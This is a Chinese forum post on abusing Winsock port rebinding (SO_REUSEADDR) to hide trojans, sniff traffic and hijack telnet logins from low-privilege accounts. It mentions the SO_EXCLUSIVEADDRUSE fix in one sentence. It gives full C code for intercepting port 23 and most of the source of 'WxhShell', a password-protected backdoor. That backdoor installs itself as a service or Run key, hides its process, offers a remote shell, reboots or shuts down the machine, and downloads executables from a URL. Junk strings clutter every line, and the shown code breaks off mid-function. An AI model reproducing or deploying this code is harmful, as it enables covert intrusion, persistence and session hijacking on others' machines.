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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _3.rPS,s  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .R l7,1\  
R:j mn  
  saddr.sin_family = AF_INET; )sNPWn8<Uy  
LR';cR;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #jd.i  
`?b'.Z_J  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O<E8,MCA[a  
%k~ezn  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @C^wV  
J 5';Hb)  
  这意味着什么?意味着可以进行如下的攻击: \+=`o .2  
mxpj<^n}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q;UGiB^(A  
yDWBrN._  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #sxv?r  
)@P*F) g~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C|h Uyo  
w*&vH/D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Y B,c=Wx  
kW1w;}n$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @_7rd  
Hp>L}5 y[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `- (<Q;iO  
WIuYSt)h  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  g[bu9i  
:Z x|=  
  #include bE{Y K  
  #include T]nAz<l),  
  #include >239SyC-,  
  #include    boHbiE  
  DWORD WINAPI ClientThread(LPVOID lpParam);   iQS,@6  
  int main() o OC&w0  
  { x/wgD'?  
  WORD wVersionRequested; lfre-pS+  
  DWORD ret; p|8ZHR+  
  WSADATA wsaData; {f@Q&(g  
  BOOL val; \KzJNCOT  
  SOCKADDR_IN saddr; +I3O/=)  
  SOCKADDR_IN scaddr; maN2(1hz  
  int err; szb@2fK  
  SOCKET s; U|VL+9#hd  
  SOCKET sc; JgA{1@h  
  int caddsize; R PoBF~>  
  HANDLE mt; j>B*8*Ss  
  DWORD tid;   0{vH.b @  
  wVersionRequested = MAKEWORD( 2, 2 ); AI Kz]J0;  
  err = WSAStartup( wVersionRequested, &wsaData ); |xg_z&dX  
  if ( err != 0 ) { =5Nh}o(l?  
  printf("error!WSAStartup failed!\n"); O ;[Mi  
  return -1; z;F HZb9t,  
  } O"Nr$bS(Y  
  saddr.sin_family = AF_INET; RRV%g!  
   k!}(a0h  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8A.7q  
P/.<sr=2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); MkL2I+*  
  saddr.sin_port = htons(23); _> x}MW+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0y+^{@lU  
  { @!u{>!~0  
  printf("error!socket failed!\n"); b9m`y*My  
  return -1; GqR|hg  
  } sZT~ 5c8  
  val = TRUE; yNow hh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z"%.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) euVDrJ^  
  { 2[HPU M2>  
  printf("error!setsockopt failed!\n"); GK!@|Kk8q7  
  return -1; T^(W _S  
  } oBo*<6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {it}\[3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tx~,7TMS/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~!qnKM>[  
NjpWK ;L  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u[Kz^ga<  
  { lwrh4<~\,*  
  ret=GetLastError(); r)>3YM5  
  printf("error!bind failed!\n"); B^r?N-Z A  
  return -1; =gD)j&~}_  
  } X%j`rQk`  
  listen(s,2); yF? O+9R A  
  while(1) "a(4])  
  { Z,e|L4&  
  caddsize = sizeof(scaddr); *DC/O( 0  
  //接受连接请求 ]& ckq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8.n#@%  
  if(sc!=INVALID_SOCKET) T3@2e0u )  
  { >Zs!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); HbI{Xf[6LP  
  if(mt==NULL) ,;Wm>V)o  
  { vt2. i$u  
  printf("Thread Creat Failed!\n"); G<D8a2q  
  break; d"06 gp  
  } \<*F#3U1  
  } (${ #l  
  CloseHandle(mt); tWTHyL  
  } #~)A#~4O  
  closesocket(s); =eUKpYI  
  WSACleanup(); 5X=1a*2']  
  return 0; Zk((VZ(y  
  }   2[ofz}k]r)  
  DWORD WINAPI ClientThread(LPVOID lpParam) gBv!E9~l  
  { I`X!M!dB)  
  SOCKET ss = (SOCKET)lpParam; [`b,SX x  
  SOCKET sc; gac31,gH  
  unsigned char buf[4096]; +]A,fmI.  
  SOCKADDR_IN saddr; rzIWQFv  
  long num; vJ}WNvncVF  
  DWORD val; qnboXGaFu  
  DWORD ret; RQ =$, i`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 zKGZg>q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yuBRYy#E|%  
  saddr.sin_family = AF_INET; 7PMz6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); } &+]UGv  
  saddr.sin_port = htons(23); &)tiO>B^6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G=|?aK{p  
  { 1F,U^O  
  printf("error!socket failed!\n"); Ig}hap]G  
  return -1; 5=I({=/>  
  } i/+^C($'f  
  val = 100; Os'E7;:1h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H=C~h\me?  
  { x-k-Pd  
  ret = GetLastError(); .1RQ}Ro,<  
  return -1; hdx_Tduue  
  } JAd .\2%Y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /y{: N  
  { jmwN1Se>  
  ret = GetLastError(); &uRT/+18W3  
  return -1; P"^Yx8L#  
  } <q!HY~"V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,HTwEq>-G  
  { R9R~$@~G  
  printf("error!socket connect failed!\n"); mMwV5\(  
  closesocket(sc); syW[uXNLZ  
  closesocket(ss); x5uz$g  
  return -1; ^UJIDg7zS  
  } xOKJOl  
  while(1) yO7y`;Q(sF  
  { DdI%TU K,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W9Azp8)p]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X-(( [A  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 81x/ bx@L%  
  num = recv(ss,buf,4096,0); :XFQ}Cl  
  if(num>0) LF!KP  
  send(sc,buf,num,0); Zt! $"N.,  
  else if(num==0) >~Zj  
  break; #1E4 R}B  
  num = recv(sc,buf,4096,0); 8(Te^] v#  
  if(num>0) >8I~i:hn  
  send(ss,buf,num,0); / ^d9At614  
  else if(num==0) ^6kl4:{idE  
  break; "zJxWXI  
  } k1xx>=md|C  
  closesocket(ss); Nm z5:Rq  
  closesocket(sc); j% 7Gje[  
  return 0 ; lqOpADLS3  
  } #Mn?Nn  
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w/o^OjwQ  
========================================================== eUQmW^  
, 4xNW:!j  
下边附上一个代码,,WXhSHELL tq h)yr;  
,\"x#Cc f  
========================================================== }|| p#R@?  
1/?Wa  
#include "stdafx.h" vc|tp_M67  
#oTVfY#  
#include <stdio.h> g]L8Jli  
#include <string.h> ,H"}Rw  
#include <windows.h> 1q!k#Cliu  
#include <winsock2.h> 1$03:ve1  
#include <winsvc.h> 5*Zz_ .  
#include <urlmon.h> ^2$b8]q  
YU-wE';H6  
#pragma comment (lib, "Ws2_32.lib") mvT /sC7I  
#pragma comment (lib, "urlmon.lib") ~3j +hN8<  
oCOv 6(  
#define MAX_USER   100 // 最大客户端连接数 J&~I4ko]  
#define BUF_SOCK   200 // sock buffer 4'#=_J  
#define KEY_BUFF   255 // 输入 buffer 6O{QmB0KK  
9D\E0YG X/  
#define REBOOT     0   // 重启 98R/ ^\  
#define SHUTDOWN   1   // 关机 D? %*L  
)J@[8 x`  
#define DEF_PORT   5000 // 监听端口 J[?oV;O  
IrCl\HQN  
#define REG_LEN     16   // 注册表键长度 qpe9?`vVX  
#define SVC_LEN     80   // NT服务名长度 oQ]FyV  
)?SFIQ=  
// 从dll定义API q!0HsF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &77J,\C$:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w,j!%N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N7"cMAs\G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {ObY1Y`ea  
}rmr0Bh  
// wxhshell配置信息 OXM=@B<"  
struct WSCFG { S;Sy.Lp  
  int ws_port;         // 监听端口 l H_pG~  
  char ws_passstr[REG_LEN]; // 口令 K\Q4u4DjbJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no {= &&J@:  
  char ws_regname[REG_LEN]; // 注册表键名 -FZNk}  
  char ws_svcname[REG_LEN]; // 服务名 `Z>=5:+G@2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F%y#)53g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :* |WE29U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &&<l}E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Szu @{lpP@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8v4krz<Iq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 igTs[q=Ak  
K{I"2c  
}; 5Xxdm-0  
:dbO|]Xf  
// default Wxhshell configuration <ndY6n3  
struct WSCFG wscfg={DEF_PORT, J)Yz@0#T(;  
    "xuhuanlingzhe", Hfj.8$   
    1, nX7F<k4G2  
    "Wxhshell", -2}ons(  
    "Wxhshell", y{(Dv}   
            "WxhShell Service", bvB7d` wx  
    "Wrsky Windows CmdShell Service", C~>0K,C0^  
    "Please Input Your Password: ", Adiw@q1&  
  1, |qQ6>IZ  
  "http://www.wrsky.com/wxhshell.exe", C3=0 st$  
  "Wxhshell.exe" Dj=$Q44  
    }; ]]r ;}$  
j-/$e,xX  
// 消息定义模块 mm#UaEp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |4/rVj"  
char *msg_ws_prompt="\n\r? for help\n\r#>";  rwSR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P*;[&Nn4  
char *msg_ws_ext="\n\rExit."; (bI/s'?K  
char *msg_ws_end="\n\rQuit."; w8q 2f-K-  
char *msg_ws_boot="\n\rReboot..."; u{uqK7]+  
char *msg_ws_poff="\n\rShutdown..."; 90abA,U@  
char *msg_ws_down="\n\rSave to "; :&&s*_  
5,4" CF$  
char *msg_ws_err="\n\rErr!"; oc-&}R4=  
char *msg_ws_ok="\n\rOK!"; imM#zy  
J0&-UnJ  
char ExeFile[MAX_PATH]; (g[WZB3x  
int nUser = 0; 8H};pu2  
HANDLE handles[MAX_USER]; e:MbMj6`  
int OsIsNt; % mPv1$FH  
'e<8j  
SERVICE_STATUS       serviceStatus; FU*q9s`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PQ_A^95  
b~<V}tJ  
// 函数声明 @`B_Q v@  
int Install(void); UT{`'#iT  
int Uninstall(void); w `d9" n  
int DownloadFile(char *sURL, SOCKET wsh); dhP")@3K;p  
int Boot(int flag); nZYO}bv\  
void HideProc(void); aEa.g.SZ  
int GetOsVer(void); kene' aDm  
int Wxhshell(SOCKET wsl); ,V5fvHPH)8  
void TalkWithClient(void *cs); hd/'>]  
int CmdShell(SOCKET sock); ^pY8'LF6  
int StartFromService(void); +:aNgO#e8  
int StartWxhshell(LPSTR lpCmdLine); T%"wz3~  
5sEk rT '  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ep5`&g]3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \TzBu?,v8  
#:Q\   
// 数据结构和表定义 {Qd oI Pr3  
SERVICE_TABLE_ENTRY DispatchTable[] = @R;k@b   
{ yfqe6-8U  
{wscfg.ws_svcname, NTServiceMain}, `DGI|3  
{NULL, NULL} (ruMOKW  
}; /i_FA]Go  
qM3NQ8Rm  
// 自我安装 !%(kMN  
int Install(void) 9RS viIi$  
{ t<}N>%ZO  
  char svExeFile[MAX_PATH]; k=p[Mlic/  
  HKEY key; t5 ^hZZ  
  strcpy(svExeFile,ExeFile); rR{KnM  
Mg}/gO% o  
// 如果是win9x系统,修改注册表设为自启动 gE*7[*2?t  
if(!OsIsNt) { }=|{"C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /VEK<.,aMv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y HS/|-  
  RegCloseKey(key); yZoJD{'?Sw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }[c.OJ:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZhRdml4U2  
  RegCloseKey(key); iM1E**WCtv  
  return 0; GKUjtPu  
    } k MV1$  
  } rOYYZ)Qw  
} hZo  f  
else { kbH@h2Ww  
L|b[6[XTHL  
// 如果是NT以上系统,安装为系统服务  ]sP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3;uLBuZOCN  
if (schSCManager!=0) ;5T}@4m|r  
{ yP` K [/  
  SC_HANDLE schService = CreateService FH%: NO  
  ( M djxTr^  
  schSCManager, N<KsQsy=  
  wscfg.ws_svcname, `|92!Ej  
  wscfg.ws_svcdisp,  )L":I  
  SERVICE_ALL_ACCESS, &Wdi 5T8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0Q#}:  
  SERVICE_AUTO_START, i&)([C0z$  
  SERVICE_ERROR_NORMAL, V+U89j1g  
  svExeFile, o7PS1qcya<  
  NULL, j}J=ZLr/V"  
  NULL, _ q>|pt.W  
  NULL, |h/{ qpsu  
  NULL, K0I.3| 6C  
  NULL Ix(,gDN  
  ); Ne3YhCC>  
  if (schService!=0) K2v[_a~@  
  { ?-0, x|ul  
  CloseServiceHandle(schService); qrZ3`@C4k  
  CloseServiceHandle(schSCManager); d|W=_7 z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y}C|4"V  
  strcat(svExeFile,wscfg.ws_svcname); @S5HMJ2=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *].qm g%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m' |wlI[lq  
  RegCloseKey(key); >-3>Rjo>  
  return 0;  -V"W  
    } fb[lL7  
  } Zrgv*  
  CloseServiceHandle(schSCManager); +.rOqkxJ  
} G%!i="/9  
} xj AU Csq  
S$40nM  
return 1; u35"oLV6}#  
} DV>;sCMJ %  
VKlC`k8L  
// 自我卸载 ]vV)$xMX  
int Uninstall(void) Q$k#q<+0  
{ VH+3o?nrT  
  HKEY key; 1TGE>HG  
w7q6v>  
if(!OsIsNt) {  3U!=R-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |S<!'rY  
  RegDeleteValue(key,wscfg.ws_regname); gg#lI|  
  RegCloseKey(key); DH i@ujr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 79o=HiOF99  
  RegDeleteValue(key,wscfg.ws_regname); g"c7$  
  RegCloseKey(key); 2BT+[  
  return 0; Gfy9YH~  
  } wQ9@ l  
} P)Oe?z;G?  
}  B"5xs  
else { 1#fR=*ZM"  
X1[zkb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3Tw9Uc\vT  
if (schSCManager!=0) cT&lkS  
{ O69TU[Vn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Be^"sC  
  if (schService!=0) B*tQ0`  
  { {F\P3-ub  
  if(DeleteService(schService)!=0) { */@I$*  
  CloseServiceHandle(schService); :hWG:`  
  CloseServiceHandle(schSCManager); +^AAik<yl  
  return 0; *xj2Z,u  
  } VP~%,=  
  CloseServiceHandle(schService); zYWVz3l  
  } Z0XQ|gkH  
  CloseServiceHandle(schSCManager); <y7Hy&&y-  
} -H|!KnR  
} YV>&v.x0;  
d@b2XCh<K  
return 1; eE;j#2SEO  
} ' eWG v  
8b4? O"  
// 从指定url下载文件 jJ'NYG  
int DownloadFile(char *sURL, SOCKET wsh) "&;X/~j  
{ *M>~$h7  
  HRESULT hr; :2wT)wz  
char seps[]= "/"; *1:kIi7_  
char *token; 7;r3Bxa Q  
char *file; 8$IUit h  
char myURL[MAX_PATH]; Y~#F\v  
char myFILE[MAX_PATH]; >f1fvv6  
`JGW8 _  
strcpy(myURL,sURL); %t74*cX  
  token=strtok(myURL,seps); M[-/&;`f@  
  while(token!=NULL) fwUF5Y  
  { $DnR[V}rR!  
    file=token; &wu1Zz[qcz  
  token=strtok(NULL,seps); Y$./!lVY  
  } ^\\9B-MvY  
=`C K`x  
GetCurrentDirectory(MAX_PATH,myFILE); #i.BOQxS  
strcat(myFILE, "\\"); X_Pbbx_j  
strcat(myFILE, file); LFYSur8  
  send(wsh,myFILE,strlen(myFILE),0); WZTv  
send(wsh,"...",3,0); '[_.mx|cd`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); } ,Dk6w$  
  if(hr==S_OK) n%02,pC6,  
return 0; y;P%=M P  
else V;Ln|._/t  
return 1; [`bK {Dq2  
E2`9H-6e  
} {aK3'-7  
)}_}D +2  
// 系统电源模块 q$ j  
int Boot(int flag) A\E ))b9+  
{ #~w~k+E4  
  HANDLE hToken; g~9b_PY9  
  TOKEN_PRIVILEGES tkp; $d.Dk4.ed  
>-w# &T &K  
  if(OsIsNt) { H_1&>@ 3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &Rz-;66bN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K&"X7fQ  
    tkp.PrivilegeCount = 1; OW!y7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Df(+@L5!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SFFJyRCz  
if(flag==REBOOT) { E4_,EeC#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cw0uLMqr`  
  return 0; :TV`uUE  
} I'2I'x\M  
else { A#i[Us|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yi (IIW  
  return 0; EEx:Xk%5hX  
} ztp2j%'  
  } cBZJ  
  else { 3+iryW(\  
if(flag==REBOOT) { K(TejW#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q0ba;KPm  
  return 0; X_,R!$wbg:  
} (FGH t/!  
else { V <ilv<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S5UQ   
  return 0; Y^8'P /A  
} WU,b<PU &  
} axN\ZXU  
C!6D /S  
return 1; |=:hUp Jp  
} 8;f5;7M n  
l%2 gM7WMY  
// win9x进程隐藏模块 n5tsaU;  
void HideProc(void) (W[]}k ;  
{ z;N`jqo   
rc"8N<D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WHU l.h  
  if ( hKernel != NULL ) "\5 T  6  
  { OF-g7s6VH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sl P>;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HoeW6UV  
    FreeLibrary(hKernel); T;S6<J  
  } ]kO|kIs  
VAqZ`y  
return; .}(X19R  
} 3h A5"G+7  
#n|eq{fkK  
// 获取操作系统版本 TWfk r  
int GetOsVer(void) Ya!PV&"Z  
{ 'tX}6wurf  
  OSVERSIONINFO winfo; mSk";UCn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8-@H zS%  
  GetVersionEx(&winfo); Q DKY7"H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4<f^/!9w  
  return 1; g\iSc~%?  
  else wZKmU  
  return 0; .4<lw  
} f<'D?d)L^  
W"A3$/nq^  
// 客户端句柄模块 6X4r2Vq  
int Wxhshell(SOCKET wsl) BD]o+96qP  
{ 6k {gI.SG  
  SOCKET wsh; 2 ksbDl}  
  struct sockaddr_in client; )/2TU]//  
  DWORD myID; > -(Zx  
e ]{=#  
  while(nUser<MAX_USER) ( iJ /  
{ ^7=h%{ >=  
  int nSize=sizeof(client); >Dz8+y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =hI;5KF  
  if(wsh==INVALID_SOCKET) return 1; gebL6oc%  
0E{DO<~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7E5 =Qx  
if(handles[nUser]==0) \i<7Lk  
  closesocket(wsh); v(, tu/  
else R+.kwq3CED  
  nUser++; vw-y:,5`t8  
  } h&~9?B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x]4>f[>*>  
6(ER$  
  return 0; k(@W z>aCv  
} ]a[2QQ+g  
J\ J3 'u  
// 关闭 socket P=s3&NDD  
void CloseIt(SOCKET wsh) 4`Jf_C  
{ J]Rh+@r.  
closesocket(wsh); ZQ-6n1O  
nUser--; m SO7r F  
ExitThread(0); sG^{ cn  
} C@pn4[jTl  
OXB 5W#$  
// 客户端请求句柄 C3 BoH&  
void TalkWithClient(void *cs) d vo|9 >  
{ lB!M;2^)X  
gQ<{NQMzvd  
  SOCKET wsh=(SOCKET)cs; oqg +<m  
  char pwd[SVC_LEN]; ,v?FR }v  
  char cmd[KEY_BUFF]; d\8j!F^=  
char chr[1]; TFz k5  
int i,j; ~c*kS E2X  
T#vY(d  
  while (nUser < MAX_USER) { HJd{j,M  
`91Z]zGpU  
if(wscfg.ws_passstr) { $0+&xJVn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }U%T6~_wR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @twi<U_  
  //ZeroMemory(pwd,KEY_BUFF); b tbuE  
      i=0; z<J2e^j  
  while(i<SVC_LEN) { RS@G.|  
:u)Qs#'29  
  // 设置超时 YHxQb$v)  
  fd_set FdRead; uh>"TeOi  
  struct timeval TimeOut; - Nt8'-  
  FD_ZERO(&FdRead); D<WGau2H  
  FD_SET(wsh,&FdRead); {CFy %  
  TimeOut.tv_sec=8; (Bv~6tj~J  
  TimeOut.tv_usec=0; gtqtFrleG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <)Y jVGG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &MB1'~Q,hq  
~n(LBA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0r?]b*IEK  
  pwd=chr[0]; I$XwM  
  if(chr[0]==0xd || chr[0]==0xa) { Tl+PRR6D*  
  pwd=0; `P$X`;SwE  
  break; Fzn !  
  } 05 .EI)7  
  i++; lwjA07 i  
    } 6uX,J(V,  
64^l/D(  
  // 如果是非法用户,关闭 socket 7loWqZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V6kDyl(  
} ID<[=es6  
KTeR;6oZn"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k`s_31<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kL<HGQt  
Z>dvth  
while(1) { r"t,/@`n  
bw!*=<  
  ZeroMemory(cmd,KEY_BUFF); 1Ve~P"w  
~B7<Yg  
      // 自动支持客户端 telnet标准   VZ7E#z+nM#  
  j=0; *?>52 -&b  
  while(j<KEY_BUFF) { ih |&q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4H{$zMq8  
  cmd[j]=chr[0]; &2n 5m&   
  if(chr[0]==0xa || chr[0]==0xd) { VJ1rU mO~  
  cmd[j]=0; n;~'W*Ln0  
  break; Qo*OC 9E`  
  } 1)f <  
  j++; >gl.ILo  
    } o>&-B.zq  
y I[kaH"J  
  // 下载文件 9! yDZ<s  
  if(strstr(cmd,"http://")) { BL-7r=Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6_:KFqc W  
  if(DownloadFile(cmd,wsh)) w{4#Q[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x&$8;2&.  
  else Digx#'#jf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %/SHB  
  } v+( P4f S  
  else { p4 $4;)  
`7.$ A U  
    switch(cmd[0]) { =GiN~$d  
  phwBil-vUU  
  // 帮助 Fc|N6I'o  
  case '?': { #eF k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #T8PgmR  
    break; `3z6y& dmx  
  } ^+kymZ  
  // 安装  xS="o  
  case 'i': { G'wyH[ d/  
    if(Install()) $J0o%9K   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !LsIHDs4  
    else R~;8v1>K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PtGFLM9R  
    break; ke)<E98DC  
    } ,pUB[w\  
  // 卸载 N{6-a  
  case 'r': { Q<yvpT(  
    if(Uninstall()) t"5ZYa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R?Ch8mW.!  
    else };f^*KZ=0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6zGeGW  
    break; ]H<}6}Gd  
    } V|/N-3M  
  // 显示 wxhshell 所在路径 ?.c:k;j  
  case 'p': { 6w_TL< S  
    char svExeFile[MAX_PATH]; =%B}8$.|  
    strcpy(svExeFile,"\n\r"); ?uW} XAi  
      strcat(svExeFile,ExeFile); Cn_r?1{W  
        send(wsh,svExeFile,strlen(svExeFile),0); Fz5eCe\B  
    break; rmdg~  
    } MOm+t]vq1  
  // 重启 E#cu}zi  
  case 'b': { b{ tp qNm~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t7*F,  
    if(Boot(REBOOT)) lk=[Xo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yqv!ZJ6  
    else {  O@skd2  
    closesocket(wsh); mqY=N~/O  
    ExitThread(0); gb}ov* *  
    } }^*`&Lh  
    break; qV-1aaA  
    } uX6rCokr  
  // 关机 & sXMB  
  case 'd': { : z\||f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kZfj"+p_S  
    if(Boot(SHUTDOWN)) eu//Q'W  
